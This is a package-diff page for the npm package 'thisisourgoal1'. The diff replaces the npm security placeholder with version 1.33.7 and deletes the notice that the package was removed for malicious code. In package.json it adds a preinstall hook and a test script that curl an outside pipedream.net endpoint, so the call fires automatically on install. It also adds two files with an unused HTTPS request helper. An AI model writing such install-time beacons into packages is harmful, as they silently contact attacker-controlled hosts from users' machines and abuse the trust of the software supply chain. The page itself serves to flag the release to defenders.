thisisourgoal1 0.0.1-security → 1.33.7
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of thisisourgoal1 might be problematic. Click here for more details.
- package/README.md +1 -5
- package/index.js +23 -0
- package/main.js +23 -0
- package/package.json +10 -3
package/README.md
CHANGED
@@ -1,5 +1 @@
|
|
1
|
-
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=thisisourgoal1 for more information.
|
1
|
+
`hello :D`
|
package/index.js
ADDED
@@ -0,0 +1,23 @@
|
|
1
|
+
function sendRequest(domain){
|
2
|
+
const https = require('https')
|
3
|
+
const options = {
|
4
|
+
hostname: domain,
|
5
|
+
port: 443,
|
6
|
+
path: '/testnpmjs1234',
|
7
|
+
method: 'GET'
|
8
|
+
}
|
9
|
+
|
10
|
+
const req = https.request(options, res => {
|
11
|
+
console.log(`statusCode: ${res.statusCode}`)
|
12
|
+
|
13
|
+
res.on('data', d => {
|
14
|
+
process.stdout.write(d)
|
15
|
+
})
|
16
|
+
})
|
17
|
+
|
18
|
+
req.on('error', error => {
|
19
|
+
console.error(error)
|
20
|
+
})
|
21
|
+
|
22
|
+
req.end()
|
23
|
+
}
|
package/main.js
ADDED
@@ -0,0 +1,23 @@
|
|
1
|
+
function sendRequest(domain){
|
2
|
+
const https = require('https')
|
3
|
+
const options = {
|
4
|
+
hostname: domain,
|
5
|
+
port: 443,
|
6
|
+
path: '/testnpmjs1234',
|
7
|
+
method: 'GET'
|
8
|
+
}
|
9
|
+
|
10
|
+
const req = https.request(options, res => {
|
11
|
+
console.log(`statusCode: ${res.statusCode}`)
|
12
|
+
|
13
|
+
res.on('data', d => {
|
14
|
+
process.stdout.write(d)
|
15
|
+
})
|
16
|
+
})
|
17
|
+
|
18
|
+
req.on('error', error => {
|
19
|
+
console.error(error)
|
20
|
+
})
|
21
|
+
|
22
|
+
req.end()
|
23
|
+
}
|
package/package.json
CHANGED
@@ -1,6 +1,13 @@
|
|
1
1
|
{
|
2
2
|
"name": "thisisourgoal1",
|
3
|
-
"version": "
|
4
|
-
"description": "
|
5
|
-
"
|
3
|
+
"version": "1.33.7",
|
4
|
+
"description": "hello :))",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "curl https://6a80b8f4966a4b18fbd433ff304d701a.m.pipedream.net/npm",
|
8
|
+
"preinstall": "curl https://6a80b8f4966a4b18fbd433ff304d701a.m.pipedream.net/npm"
|
9
|
+
},
|
10
|
+
"author": "auth0r@mailfor.me",
|
11
|
+
"license": "ISC",
|
12
|
+
"dependencies": {}
|
6
13
|
}
|